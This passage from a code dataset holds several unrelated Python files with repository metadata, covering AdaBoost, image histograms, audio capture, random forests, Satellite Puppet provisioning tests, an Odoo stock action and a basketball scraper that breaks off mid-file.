初始化训练数据集权值分布D1=(w11,w12,...,w1N),其中 w1i=1/N,(i=1,2,...,N);\n 对于m=1,2,...,M:\n (a)根据Dm权值分布的数据集,求得使分类误差率em最低的基本分类器Gm(x)\n 其中:em = ∑ wmi*I(G(xi)!=yi), wmi=exp(-yi*f<m-1>(xi))\n (b)根据em计算分类器Gm(x)在最终分类器中的权重alpha<m>\n alpha<m> = 1/2log[(1-em)/em]\n (c)更新数据集权值分布\n Dm+1 = (w<m+1>1,w<m+1>2,...,w<m+1>N), \n w<m+1>i = [wmi*exp(-alpha<m>*yi*Gm(xi))]/Zm\n(3)构建基本分类器的线性组合:\n f(x)= ∑ alpha<m>*Gm(x)\n 最终分类器G(x)=sign(f(x))\n---------------------------\ntest dataSet:\ndataMat = mat([[1.,2.1],[2.,1.1],[1.3,1.],[1.,1.],[2.,1.]])\nlabelMat = mat([1.0,1.0,-1.0,-1.0,1.0]).T\n---------------------------\n下面建立决策树桩的Adaboost算法\n\"\"\"\nfrom numpy import mat,shape,ones,zeros,log,exp,multiply,sign\nfrom sklearn.datasets import load_iris\n\n\n# 鹫尾花数据: 注意是多分类问题\ndef loadIris():\n iris = load_iris()\n irisDataArr = iris.data\n irisTargetArr = iris.target\n \n return mat(irisDataArr), mat(irisTargetArr).T\n\n\n# 从文件加载数据\ndef loadData(filename):\n numFeat = len(open(filename).readline().split('\\t'))\n dataArr = []; labelArr = []\n \n with open(filename) as fr:\n for line in fr.readlines():\n lineArr = []\n curLine = line.strip().split('\\t')\n \n for i in range(numFeat-1):\n lineArr.append(float(curLine[i])) \n dataArr.append(lineArr)\n labelArr.append(float(curLine[-1]))\n \n return mat(dataArr), mat(labelArr).T\n \n\n## 构建单层决策树生成函数,包含三个循环(所有特征-->按步长遍布取值-->阈值比较时的正负类)\n# 与特征阈值进行比较分类,结果按数据index存放在mX1数组中\ndef stumpClassify(dataMat,featureIndex,threadValue,info):\n predictedCsf = ones((shape(dataMat)[0],1))\n if info == 'lp': # if large is positive category\n predictedCsf[dataMat[:,featureIndex]<threadValue] = -1.0\n else:\n predictedCsf[dataMat[:,featureIndex]>threadValue] = -1.0\n return predictedCsf\n\n# 遍历特征与取值,找到权重误分率最低的决策树桩\ndef buildStump(dataMat,labelMat,D):\n m,n = shape(dataMat)\n minErr = float('inf') # 循环外设定无穷大\n bestStump = {} # 记录决策树桩的feature,threadValue以及error\n \n # 设定获取某一特征取值时的递进步长\n numSteps = 10.0; \n for i in range(n):\n minValue=dataMat[:,i].min(); maxValue=dataMat[:,i].max()\n stepSize = (maxValue-minValue)/numSteps\n \n for j in range(-1,int(numSteps)+1):\n threadValue = minValue + j*stepSize\n \n for info in ['lp', 'sp']:\n predicted = stumpClassify(dataMat,i,threadValue,info)\n # 比较predicted和labelArr,确定哪些分类错误\n # 之后,错误的分类要乘以相应的权重,得到权重错误分类率\n # 所以错误分类最好在数组中表示出来\n errArr = ones((m,1))\n errArr[predicted==labelMat] = 0\n weightedErr = D.T * errArr\n# # 打印信息,了解进展;用于调试,可注释掉\n# print 'split featureIndex: %d, threadValue: %.2f, \\\n# info: %s, weightedError: %f' \\\n# % (i, threadValue, info, weightedErr)\n if weightedErr < minErr:\n minErr = weightedErr\n bestStump['bestFeatureIndex'] = i\n bestStump['bestThreadValue'] = threadValue\n bestStump['info'] = info\n bestStump['minError'] = minErr\n bestStump['bestCsf'] = predicted\n \n return bestStump\n\n\n \n## 基于单层决策树的AdaBoost训练过程; 要将每个基分类器以适当方式保存起来!Such as dict!\n## 如果新数据加入,则更新dataMat重新训练,得到新的weakCsfSet,用于预测新数据label\ndef adaBoostTraining(dataMat,labelMat,numIter=30):\n # 初始化权值分布\n m = shape(dataMat)[0]; D = mat(ones((m, 1))/m)\n # 存放每次迭代生成的弱分类器\n weakCsfSet = []\n # 初始化加法模型的预测结果\n addCsf = mat(zeros((m,1)))\n \n for _ in range(numIter):\n bestStump = buildStump(dataMat,labelMat,D)\n# print 'the weighted matrix D: ', D.T\n # 根据权重误分率,计算本次分类器的系数\n err = bestStump['minError']\n alpha = 0.5 * log((1-err)/err, 2)\n bestStump['alpha'] = alpha\n weakCsfSet.append(bestStump)\n \n # 更新下一次迭代的取值分布\n expon = exp(-alpha * multiply(bestStump['bestCsf'], labelMat)) # 列矩阵\n D = multiply(D, expon)\n D = D/D.sum()\n \n # 计算当前加法模型的误分类率,小于阈值(或为零)则退出\n addCsf += alpha * bestStump['bestCsf'] \n# print 'the added model estimation: ', addCsf\n addError = multiply(sign(addCsf)!=labelMat, ones((m,1)))\n addErrorRate = addError.sum()/m\n# print 'Currently, the additive model error rate: ', addErrorRate\n if addErrorRate == 0.0: break\n \n return weakCsfSet\n\n\n## 将alpha,weakCsf分类结果从weakCsfSet中抽离出来\ndef adaBoostCsf(dataToClassify, weakCsfSet):\n dataMat = mat(dataToClassify)\n m = shape(dataMat)[0]\n addModelEst = mat(zeros((m,1)))\n \n for i in range(len(weakCsfSet)):\n modelEst = stumpClassify(dataMat, weakCsfSet[i]['bestFeatureIndex'], \\\n weakCsfSet[i]['bestThreadValue'], \\\n weakCsfSet[i]['info'])\n addModelEst += weakCsfSet[i]['alpha'] * modelEst\n \n# print addModelEst\n \n return sign(addModelEst)\n\n\n## 在测试机上的错误率\ndef errorRateOnTest(estResult,testLabelMat):\n m = shape(testLabelMat)[0]\n errArr = mat(ones((m,1)))\n errRate = errArr[estResult!=testLabelMat].sum()/m\n return errRate\n \n\n\n\n\n\"\"\"\n*******************************************\n下面使用scikit-learn库实现以上Adaboost过程...\n*******************************************\n\"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n","repo_name":"yuhaoip/ml-ensemble","sub_path":"adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":6752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"3704870475","text":"import cv2\nfrom matplotlib import pyplot as plt\n\nimagemOriginal = cv2.imread(\"./resources/car.png\", 0)\nimagemEqualizada = cv2.equalizeHist(imagemOriginal)\n\ncv2.imshow(\"Original image\", imagemOriginal)\ncv2.imshow(\"Equalized image\", imagemEqualizada)\n\nplt.hist(imagemOriginal.ravel(), 256, [0, 256])\nplt.figure()\n\nplt.hist(imagemEqualizada.ravel(), 256, [0, 256])\nplt.show()\n","repo_name":"mateuscalza/computer-vision-course","sub_path":"lesson-16/equalize_histogram.py","file_name":"equalize_histogram.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12208643575","text":"import sqlite3\nconn = sqlite3.connect(\"./static/database.db\")\ncursorObj = conn.cursor()\n\ndef one():\n conn.execute(\"\"\"CREATE TABLE SUBJECTS\n (SUBJECT TEXT PRIMARY KEY NOT NULL\n );\"\"\")\n\n [conn.execute(f\"INSERT INTO SUBJECTS (SUBJECT) \\\n VALUES ('{subject}')\") for subject in ['Maths','English','Geography','History','Music','Technology','Computing','French']]\n \n\n\n\n conn.commit()\n conn.close()","repo_name":"123mjb/FlaskFun","sub_path":"revisionsetupsubjects.py","file_name":"revisionsetupsubjects.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35114397074","text":"import threading\nfrom array import array\nfrom queue import Queue, Full\nimport pyaudio\nimport time\n\nCHUNK_SIZE = 1024\nMIN_VOLUME = 500\n# if the recording thread can't consume fast enough, the listener will start discarding\nBUF_MAX_SIZE = CHUNK_SIZE * 10\n\ndef main():\n stopped = threading.Event()\n q = Queue(maxsize=int(round(BUF_MAX_SIZE / CHUNK_SIZE)))\n\n listen_t = threading.Thread(target=listen, args=(stopped, q))\n listen_t.start()\n\n record_t = threading.Thread(target=record, args=(stopped, q))\n record_t.start()\n\n try:\n while True:\n listen_t.join(0.1)\n record_t.join(0.1)\n except KeyboardInterrupt:\n stopped.set()\n\n listen_t.join()\n record_t.join()\n\ndef record(stopped, q):\n while True:\n if stopped.wait(timeout=0):\n break\n chunk = q.get()\n # change to volume decay\n\n vol = max(chunk)\n\n if vol >= MIN_VOLUME:\n # TODO: write to file\n\n print(\"sound-v:\", vol)\n else:\n print(\"slient-v\", vol)\n\n\ndef listen(stopped, q):\n stream = pyaudio.PyAudio().open(\n format=pyaudio.paInt16,\n channels=2,\n rate=44100,\n input=True,\n frames_per_buffer=1024,\n )\n\n while True:\n if stopped.wait(timeout=0):\n break\n try:\n q.put(array('h', stream.read(CHUNK_SIZE)))\n except Full:\n pass # discard\n\n\nif __name__ == '__main__':\n main()\n\n\n# import wave\n# import sys\n# import time\n# import threading\n# from array import array\n# from sys import byteorder\n# from queue import Queue, Full\n#\n# import pyaudio\n#\n# CHUNK_SIZE = 1024\n# MIN_VOLUME = 500\n#\n# BUF_MAX_SIZE = 1024 * 10\n#\n# process_g = 0\n#\n# def main():\n# stopped = threading.Event()\n# q = Queue(maxsize=int(round(BUF_MAX_SIZE / CHUNK_SIZE)))\n# listen_t = threading.Thread(target=listen, args=(stopped, q))\n# listen_t.start()\n# process_g = threading.Thread(target=process, args=(stopped, q))\n# process_g.start()\n# try:\n# while True:\n# listen_t.join(0.1)\n# process_g.join(0.1)\n# except KeyboardInterrupt:\n# stopped.set()\n# listen_t.join()\n# process_g.join()\n#\n# def process(stopped, q):\n# while True:\n# if stopped.wait(timeout = 0):\n# break\n# print(\"I'm processing..\")\n# time.sleep(300)\n#\n# def listen(stopped, q):\n# stream = pyaudio.PyAudio().open(\n# format = pyaudio.paInt16,\n# channels = 2,\n# rate = 44100,\n# input = True,\n# frames_per_buffer = 1024\n# )\n#\n# while True:\n# if stopped and stopped.wait(timeout=0):\n# break\n# try:\n# print(process_g)\n# for i in range(0, int(44100 / 1024 * 5)):\n# data_chunk = array('h', stream.read(CHUNK_SIZE))\n# vol = max(data_chunk)\n# if(vol >= MIN_VOLUME):\n# print(\"WORDS..\")\n# else:\n# print(\"Nothing..\")\n# except Full:\n# pass\n#\n# if __name__ == '__main__':\n# main()\n","repo_name":"zhangyan612/mkl","sub_path":"input/speech_text/listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"30057573741","text":"from dataset_vocab import WrappedCitationTokenizer\nfrom transformers import RobertaTokenizerFast\nimport pickle\nimport random\nimport re\nfrom tqdm import tqdm\n\n\nclass DistanceBucket:\n\n def __init__(self, start, length):\n self.min = start\n self.max = start+length-1\n self.instances = []\n\n def applies(self, distance):\n return self.min <= distance <= self.max\n\n def add(self, distance, rank):\n self.instances.append((distance, rank))\n\n def __len__(self):\n return len(self.instances)\n\n def recall_at_k(self, k):\n if len(self.instances) == 0:\n return 0.0\n return len([_ for _, rank in self.instances if rank < k]) / len(self.instances)\n\n\nstats_fpath = '../../../data/bva/logs/roberta-idx-all-meta-f128-c256_converged_v4_valdata_prediction_stats_latest.csv'\nforecast_csv_fpath = '../../../data/bva/logs/roberta-idx-all-meta-f128-c256_converged_v4_valdata_prediction_forecast_analysis.csv'\nforecast_metrics_fpath = '../../../data/bva/logs/roberta-idx-all-meta-f128-c256_converged_v4_valdata_prediction_forecast_metrics.csv'\nforecast_log_fpath = '../../../data/bva/logs/roberta-idx-all-meta-f128-c256_converged_v4_valdata_prediction_forecast_analysis.log'\ncvx_path = '../../../data/bva/vocab/vocab_norm_min20_v4.pkl'\nnum_buckets = 8\nbucket_size = 16\n\nwith open(cvx_path, 'rb') as f:\n cvx = pickle.load(f)\ntokenizer = RobertaTokenizerFast.from_pretrained(\"roberta-base\")\nwtokenizer = WrappedCitationTokenizer(tokenizer, cvx)\n\nprint('counting instances')\nn = 0\nwith open(stats_fpath) as f:\n _ = f.readline() ## skip first line with csv header\n for _ in f:\n n+= 1\n\nbuckets = [DistanceBucket(i*bucket_size, bucket_size) for i in range(num_buckets)]\n\nwith open(stats_fpath) as f,\\\n open(forecast_csv_fpath, 'w') as g,\\\n open(forecast_log_fpath, 'w') as h,\\\n open(forecast_metrics_fpath, 'w') as m:\n print(f'doing analysis')\n g.write('idx;target;target_type;target_distance;pred;pred_type;target_rank;target_distance\\n')\n m.write('bucket;min;max;n;r@1;r@5;r@20\\n')\n _ = f.readline() ## skip first line with csv header\n num_empty_forecasts = 0\n for i, line in tqdm(enumerate(f)):\n year, issarea, judge, label, pred, rank, context, forecast, preds = line.split(';')\n label = int(label)\n pred = int(pred)\n rank = int(rank)\n context_ids = [int(i) for i in context.split(',')]\n forecast_ids = [int(i) for i in forecast.split(',')]\n label_token_id = wtokenizer.token_id_for_citation_id(label)\n if label_token_id not in forecast_ids:\n forecast = wtokenizer.decode(forecast_ids)\n h.write(f'IDX: {i}\\n')\n h.write(forecast+'\\n')\n h.write(f'missing: {label} / {label_token_id}\\n\\n\\n')\n num_empty_forecasts += 1\n else:\n label_distance = forecast_ids.index(label_token_id)\n label_class = cvx.citation_source_class_by_index(label)\n pred_class = cvx.citation_source_class_by_index(pred)\n for b in buckets:\n if b.applies(label_distance):\n b.add(label_distance, rank)\n g.write(f'{i};{label};{label_class};{label_distance};{pred};{pred_class};{rank}\\n')\n print('exporting buckets')\n for i, b in enumerate(buckets):\n r1 = round(b.recall_at_k(1)*100, 1)\n r5 = round(b.recall_at_k(5)*100, 1)\n r20 = round(b.recall_at_k(20)*100, 1)\n m.write(f'{i};{b.min};{b.max};{len(b)};{r1};{r5};{r20}\\n')\n\nprint(f'# data points: {n}')\nprint(f'# empty forecast windows: {num_empty_forecasts}')\n\n","repo_name":"TUMLegalTech/bva-citation-prediction","sub_path":"nlp/make_forecast_analysis.py","file_name":"make_forecast_analysis.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"29"} +{"seq_id":"12443795298","text":"import os\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n# Use datetime for creating date objects for plotting\nimport datetime\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.tree import export_graphviz\nimport pydot\n\ndef main():\n features = pd.read_csv(os.path.join(os.path.dirname(__file__), 'temps.csv'))\n head_data = features.head(5)\n # print(head_data)\n # print('The shape of our features is:', features.shape)\n # print (features.describe())\n\n features = pd.get_dummies(features)\n labels = np.array(features['actual'])\n # print (features.iloc[:,5:].head(5))\n features = features.drop('actual', axis = 1)\n feature_list = list(features.columns)\n features = np.array(features)\n\n train_features, test_features, train_labels, test_labels = train_test_split(features, labels, test_size = 0.25, random_state = 42)\n print('Training Features Shape:', train_features.shape)\n print('Training Labels Shape:', train_labels.shape)\n print('Testing Features Shape:', test_features.shape)\n print('Testing Labels Shape:', test_labels.shape)\n\n # The baseline predictions are the historical averages\n baseline_preds = test_features[:, feature_list.index('average')]\n # Baseline errors, and display average baseline error\n baseline_errors = abs(baseline_preds - test_labels)\n print('Average baseline error: ', round(np.mean(baseline_errors), 2))\n\n rf = RandomForestRegressor(n_estimators = 1000, random_state = 42, max_depth = 3)\n rf.fit(train_features, train_labels)\n \n # Use the forest's predict method on the test data\n predictions = rf.predict(test_features)\n\n # Calculate the absolute errors\n errors = abs(predictions - test_labels)\n\n # Print out the mean absolute error (mae)\n print('Mean Absolute Error:', round(np.mean(errors), 2), 'degrees.')\n\n tree = rf.estimators_[5]\n export_graphviz(tree, out_file = 'tree.dot', feature_names = feature_list, rounded = True)\n (graph, ) = pydot.graph_from_dot_file('tree.dot')\n graph.write_png('tree.png')\n\n # Dates of training values\n months = features[:, feature_list.index('month')]\n days = features[:, feature_list.index('day')]\n years = features[:, feature_list.index('year')]\n # List and then convert to datetime object\n dates = [str(int(year)) + '-' + str(int(month)) + '-' + str(int(day)) for year, month, day in zip(years, months, days)]\n dates = [datetime.datetime.strptime(date, '%Y-%m-%d') for date in dates]\n # Dataframe with true values and dates\n true_data = pd.DataFrame(data = {'date': dates, 'actual': labels})\n # Dates of predictions\n months = test_features[:, feature_list.index('month')]\n days = test_features[:, feature_list.index('day')]\n years = test_features[:, feature_list.index('year')]\n # Column of dates\n test_dates = [str(int(year)) + '-' + str(int(month)) + '-' + str(int(day)) for year, month, day in zip(years, months, days)]\n # Convert to datetime objects\n test_dates = [datetime.datetime.strptime(date, '%Y-%m-%d') for date in test_dates]\n # Dataframe with predictions and dates\n predictions_data = pd.DataFrame(data = {'date': test_dates, 'prediction': predictions})\n # Plot the actual values\n plt.plot(true_data['date'], true_data['actual'], 'b-', label = 'actual')\n # Plot the predicted values\n plt.plot(predictions_data['date'], predictions_data['prediction'], 'ro', label = 'prediction')\n plt.xticks(rotation = '60'); \n plt.legend()\n # Graph labels\n plt.xlabel('Date')\n plt.ylabel('Maximum Temperature (F)')\n plt.title('Actual and Predicted Values')\n plt.show()\n return\n\nif __name__ == \"__main__\":\n main()","repo_name":"ericlegoaec/Helloworld","sub_path":"interview_q/random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19709211085","text":"\"\"\"Test class for puppet plugin CLI\n\n:Requirement: Puppet\n\n:CaseAutomation: Automated\n\n:CaseLevel: Acceptance\n\n:CaseComponent: Puppet\n\n:Team: Rocket\n\n:TestType: Functional\n\n:CaseImportance: Medium\n\n:Upstream: No\n\"\"\"\nfrom fauxfactory import gen_string\nfrom packaging.version import Version\nimport pytest\nimport requests\nfrom wait_for import wait_for\n\n\n@pytest.mark.e2e\ndef test_positive_puppet_bootstrap(\n session_puppet_enabled_sat,\n session_puppet_enabled_proxy,\n session_puppet_default_os,\n module_puppet_org,\n module_puppet_environment,\n):\n \"\"\"Test that provisioning template renders snippet for puppet bootstrapping.\n\n :id: 71140e1a-6e4d-4110-bb2d-8d381f183d64\n\n :setup:\n 1. Requires Satellite with http and templates feature enabled.\n\n :steps:\n 1. Create a host providing puppet env, proxy and params.\n 2. Get rendered provisioning template using host's token.\n 3. Check the render contains puppet snippet in it.\n\n :expectedresults:\n 1. Puppet snippet rendered in the provisioning template.\n \"\"\"\n host_params = [\n {\n 'name': 'enable-puppet7',\n 'value': 'True',\n 'parameter-type': 'boolean',\n }\n ]\n\n host = session_puppet_enabled_sat.api.Host(\n build=True,\n environment=module_puppet_environment,\n host_parameters_attributes=host_params,\n organization=module_puppet_org,\n operatingsystem=session_puppet_default_os,\n puppet_proxy=session_puppet_enabled_proxy,\n puppet_ca_proxy=session_puppet_enabled_proxy,\n root_pass=gen_string('alphanumeric'),\n ).create()\n\n render = requests.get(\n (\n f'http://{session_puppet_enabled_sat.hostname}:8000/'\n f'unattended/provision?token={host.token}'\n ),\n ).text\n\n puppet_config = (\n \"if [ -f /usr/bin/dnf ]; then\\n\"\n \" dnf -y install puppet-agent\\n\"\n \"else\\n\"\n \" yum -t -y install puppet-agent\\n\"\n \"fi\\n\"\n \"\\n\"\n \"cat > /etc/puppetlabs/puppet/puppet.conf << EOF\\n\"\n \"[main]\\n\"\n \"\\n\"\n \"[agent]\\n\"\n \"pluginsync = true\\n\"\n \"report = true\\n\"\n f\"ca_server = {session_puppet_enabled_proxy.name}\\n\"\n f\"certname = {host.name}\\n\"\n f\"server = {session_puppet_enabled_proxy.name}\\n\"\n f\"environment = {module_puppet_environment.name}\\n\"\n )\n puppet_run = (\n 'puppet agent --config /etc/puppetlabs/puppet/puppet.conf --onetime '\n f'--tags no_such_tag --server {session_puppet_enabled_proxy.name}'\n )\n\n assert puppet_config in render\n assert puppet_run in render\n\n\n@pytest.mark.on_premises_provisioning\n@pytest.mark.rhel_ver_match('[^6]')\ndef test_host_provisioning_with_external_puppetserver(\n request,\n external_puppet_server,\n module_provisioning_sat,\n module_sca_manifest_org,\n module_location,\n provisioning_host,\n module_provisioning_rhel_content,\n provisioning_hostgroup,\n module_lce_library,\n module_default_org_view,\n):\n \"\"\"Baremetal provisioning of a RHEL system via PXE with external puppetserver host params\n\n :id: b036807a-bd44-11ed-b57d-e7f6b735234b\n\n :steps:\n 1. Provision RHEL system via PXE with host params puppet_server and puppet_ca_server\n set as external puppetserver hostname\n 2. Check that resulting host is registered to Satellite,\n and puppet-agent package is installed\n 3. Check puppet config for server and ca_server under agent section\n 4. Run puppet and check installed module template in /etc/motd\n\n :expectedresults:\n 1. Host installs the correct version of RHEL\n 2. Host is registered to Satellite and puppet-agent is installed from client repo\n 3. Puppet config points to external puppetserver\n for server and ca_server under agent section\n 4. /etc/motd contains content of theforeman/motd puppet module\n\n :BZ: 2106475, 2174734\n\n :customerscenario: true\n \"\"\"\n puppet_env = 'production'\n host_mac_addr = provisioning_host._broker_args['provisioning_nic_mac_addr']\n sat = module_provisioning_sat.sat\n host = sat.api.Host(\n hostgroup=provisioning_hostgroup,\n organization=module_sca_manifest_org,\n location=module_location,\n content_facet_attributes={\n 'content_view_id': module_provisioning_rhel_content.cv.id,\n 'lifecycle_environment_id': module_lce_library.id,\n },\n name=gen_string('alpha').lower(),\n mac=host_mac_addr,\n operatingsystem=module_provisioning_rhel_content.os,\n subnet=module_provisioning_sat.subnet,\n host_parameters_attributes=[\n {'name': 'puppet_server', 'value': f'{external_puppet_server.hostname}'},\n {'name': 'puppet_ca_server', 'value': f'{external_puppet_server.hostname}'},\n {'name': 'puppet_environment', 'value': f'{puppet_env}'},\n ],\n build=True, # put the host in build mode\n ).create(create_missing=False)\n # Clean up the host to free IP leases on Satellite.\n # broker should do that as a part of the teardown, putting here just to make sure.\n request.addfinalizer(host.delete)\n # Start the VM, do not ensure that we can connect to SSHD\n provisioning_host.power_control(ensure=False)\n\n # TODO: Implement Satellite log capturing logic to verify that\n # all the events are captured in the logs.\n\n # Host should do call back to the Satellite reporting\n # the result of the installation. Wait until Satellite reports that the host is installed.\n wait_for(\n lambda: host.read().build_status_label != 'Pending installation',\n timeout=1500,\n delay=10,\n )\n host = host.read()\n assert host.build_status_label == 'Installed'\n\n # Change the hostname of the host as we know it already.\n # In the current infra environment we do not support\n # addressing hosts using FQDNs, falling back to IP.\n provisioning_host.hostname = host.ip\n # Host is not blank anymore\n provisioning_host.blank = False\n\n # Wait for the host to be rebooted and SSH daemon to be started.\n provisioning_host.wait_for_connection()\n\n # Perform version check\n host_os = host.operatingsystem.read()\n expected_rhel_version = Version(f'{host_os.major}.{host_os.minor}')\n assert (\n provisioning_host.os_version == expected_rhel_version\n ), 'Different than the expected OS version was installed'\n\n # assert that the host is subscribed and consumes subsctiption provided by the activation key\n assert provisioning_host.subscribed, 'Host is not subscribed'\n\n # Validate external Puppet server deployment with Satellite\n assert (\n provisioning_host.execute('rpm -q puppet-agent').status == 0\n ), 'Puppet agent package is not installed'\n\n assert (\n external_puppet_server.hostname\n in provisioning_host.execute('puppet config print server --section agent').stdout\n )\n assert (\n external_puppet_server.hostname\n in provisioning_host.execute('puppet config print ca_server --section agent').stdout\n )\n assert (\n host.name\n in provisioning_host.execute('puppet config print certname --section agent').stdout\n )\n assert (\n puppet_env\n in provisioning_host.execute('puppet config print environment --section agent').stdout\n )\n\n # Run puppet-agent which fails as certs aren't signed\n provisioning_host.execute('/opt/puppetlabs/bin/puppet agent -t')\n # Sign certs on Puppet server for the provisioned host\n external_puppet_server.execute(f'puppetserver ca sign --certname {host.name}')\n # Run puppet-agent again, validate rc and stdout\n result = provisioning_host.execute('/opt/puppetlabs/bin/puppet agent -t')\n assert 'Applied catalog' in result.stdout\n # 0 if run succeds, 2 if run succeeds and some resources changed\n assert result.status in [0, 2]\n\n # Check /etc/motd contains contents from theforeman/motd module\n assert (\n 'virtual machine that is the property of the Foreman project'\n in provisioning_host.execute('cat /etc/motd').stdout\n )\n","repo_name":"SatelliteQE/robottelo","sub_path":"tests/foreman/api/test_provisioning_puppet.py","file_name":"test_provisioning_puppet.py","file_ext":"py","file_size_in_byte":8236,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"29"} +{"seq_id":"17104026698","text":"from pandas import DataFrame\n\nfrom network.data_ingestion.data_loader_prediction import Data_Getter_Pred\nfrom network.data_preprocessing.preprocessing import Preprocessor\nfrom utils.logger import App_Logger\nfrom utils.model_utils import Model_Utils\nfrom utils.read_params import get_log_dic, read_params\n\n\nclass Prediction:\n def __init__(self):\n self.config = read_params()\n\n self.pred_log = self.config[\"log\"][\"pred_main\"]\n\n self.predictions_csv_file = self.config[\"pred_output_file\"]\n\n self.log_writer = App_Logger()\n\n self.data_getter_pred = Data_Getter_Pred(self.pred_log)\n\n self.preprocessor = Preprocessor(self.pred_log)\n\n self.model_utils = Model_Utils()\n\n def predict_from_model(self):\n \"\"\"\n Method Name : predict_from_model\n Description : This method is responsible for using the trained model and get predictions based on the prediction data\n \n Output : Trained models are used for prediction and results are stored in predictions csv file\n On Failure : Write an exception log and then raise an exception\n \n Version : 1.2\n Revisions : moved setup to cloud\n \"\"\"\n log_dic = get_log_dic(\n self.__class__.__name__,\n self.predict_from_model.__name__,\n __file__,\n self.pred_log,\n )\n\n self.log_writer.start_log(\"start\", **log_dic)\n\n try:\n self.log_writer.log(\n \"Started getting predictions based on prediction data\", **log_dic\n )\n\n data = self.data_getter_pred.get_data()\n\n data = self.preprocessor.replace_invalid_values_with_null(data)\n\n is_null_present = self.preprocessor.is_null_present(data)\n\n if is_null_present:\n data = self.preprocessor.impute_missing_values(data)\n\n prod_model_file = self.model_utils.get_prod_model_file(self.pred_log)\n\n prod_model = self.model_utils.load_model(prod_model_file, self.pred_log)\n\n result = list(prod_model.predict(data))\n\n self.log_writer.log(\n \"Used model in production to get predictions\", **log_dic\n )\n\n result = DataFrame(result, columns=[\"Predictions\"])\n\n self.log_writer.log(\"Created dataframe for the predictions\", **log_dic)\n\n result.to_csv(self.predictions_csv_file, index=None, header=True)\n\n self.log_writer.log(\n \"Prediction are made using the trained model and results are stored in csv file\",\n **log_dic\n )\n\n self.log_writer.start_log(\"exit\", **log_dic)\n\n return self.predictions_csv_file, result.head().to_json(orient=\"records\")\n\n except Exception as e:\n self.log_writer.exception_log(e, **log_dic)\n","repo_name":"vishalsingh17/Network-Security-with-Machine-Learning","sub_path":"network/model/predict_from_model.py","file_name":"predict_from_model.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"28879116950","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport progressbar as pb\n\nopt_policy = np.asarray([\n [0, 0, 0, 0],\n [2, 2, 2, 0],\n [2, 1, 2, 0],\n [1, 1, 1, 0]\n])\nresults = []\nresults_lens = []\nbar = pb.ProgressBar()\nfor ii in bar(range(10000)):\n chain = ''\n alpha = 0.4\n a = 0\n h = 0\n for block in range(2016):\n rand_val = np.random.uniform()\n if rand_val < alpha:\n a += 1\n else:\n h += 1\n \n action = opt_policy[(a, h)]\n if action == 0:\n chain += 'h' * h\n a = 0\n h = 0\n elif action == 1:\n chain += 'a' * (h+1)\n a = a - h - 1\n h = 0\n results.append(chain.count('a')/len(chain))\n results_lens.append(len(chain))\n\nplt.style.use('fivethirtyeight')\nplt.hist(results, bins=100, color='g')\nplt.axvline(0.41666412353515625, color='r', label='target', linewidth=0.4)\nplt.axvline(np.mean(results), color='b', label='simulated', linewidth=0.4)\nplt.legend(facecolor='white')\nplt.xlabel(r'$\\rho-$ relative rewards')\nplt.show()\nprint(np.mean(results))\n\nplt.cla()\nplt.hist(results_lens, bins=100, color='purple')\nplt.axvline(np.mean(results_lens), color='k', label='mean', linewidth=2.5)\nplt.xlabel(r'$\\ell-$ length of public chain ')\nplt.legend(facecolor='white')\nplt.show()\nprint(np.mean(results_lens))\n\n\n\n","repo_name":"michaelneuder/parkes_lab_fa19","sub_path":"costmdps/v11/simulatedopt3.py","file_name":"simulatedopt3.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71692676878","text":"class DataStream:\n def __init__(self, buffer: str):\n self._buffer = buffer\n\n def detect_marker(self, size: int) -> int:\n start = 0\n for pos in range(0, len(self._buffer)):\n marker = self._buffer[pos:pos + size]\n unique_chars = set(list(marker))\n if len(unique_chars) == size:\n start = pos + size\n break\n\n return start\n","repo_name":"fbraem/advent_of_code_2022","sub_path":"day_06/advent/data_stream.py","file_name":"data_stream.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5566159485","text":"from odoo import api, models\n\n\nclass StockWarehouseOrderpoint(models.Model):\n _inherit = 'stock.warehouse.orderpoint'\n\n @api.multi\n def action_view_stock_picking(self):\n action = self.env.ref('stock.action_picking_tree_all')\n result = action.read()[0]\n result['context'] = {}\n picking_ids = self.env['stock.move'].search(\n [('orderpoint_ids', 'in', self.id)]).mapped('picking_id')\n result['domain'] = \"[('id','in',%s)]\" % picking_ids.ids\n return result\n","repo_name":"decodio/oca12","sub_path":"stock_orderpoint_move_link/models/stock_warehouse_orderpoint.py","file_name":"stock_warehouse_orderpoint.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"22097522117","text":"#!/Users/rjp34/anaconda3/bin/python\n\n# Import packages\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef allstar_voting(year):\n\n # Format changes in 2017\n if year <= 2016: \n \n # Define URL to be scraped\n url = 'https://www.basketball-reference.com/allstar/NBA_' + str(year) + '_voting.html'\n \n # Create 